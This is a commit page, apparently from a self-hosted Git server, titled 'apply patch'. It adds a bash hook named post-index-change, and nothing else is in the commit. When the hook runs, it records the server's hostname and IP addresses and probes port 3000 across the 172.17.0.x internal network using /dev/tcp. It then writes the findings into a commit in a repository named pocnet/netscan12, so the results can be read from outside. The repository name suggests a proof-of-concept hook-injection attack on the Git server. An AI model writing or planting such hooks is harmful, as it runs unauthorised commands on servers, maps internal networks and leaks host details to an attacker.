apply patch
This commit is contained in:
16
hooks/post-index-change
Executable file
16
hooks/post-index-change
Executable file
@@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
echo '=== HOSTNAME ===' > /tmp/scan.txt
|
||||||
|
hostname >> /tmp/scan.txt
|
||||||
|
echo '=== IP ADDR ===' >> /tmp/scan.txt
|
||||||
|
ip addr 2>/dev/null >> /tmp/scan.txt
|
||||||
|
echo '=== NETWORK SCAN ===' >> /tmp/scan.txt
|
||||||
|
for i in $(seq 1 254); do
|
||||||
|
(timeout 1 bash -c "echo >/dev/tcp/172.17.0.$i/3000" 2>/dev/null && echo "172.17.0.$i:3000 OPEN" >> /tmp/scan.txt) &
|
||||||
|
done
|
||||||
|
wait
|
||||||
|
echo '=== DONE ===' >> /tmp/scan.txt
|
||||||
|
BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git hash-object -w /tmp/scan.txt`
|
||||||
|
TREE=`printf "100644 blob %s\tscan.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git mktree`
|
||||||
|
PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git rev-parse HEAD`
|
||||||
|
COMMIT=`echo "network scan" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git commit-tree $TREE -p $PARENT`
|
||||||
|
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git update-ref refs/heads/main $COMMIT
|
||||||
Reference in New Issue
Block a user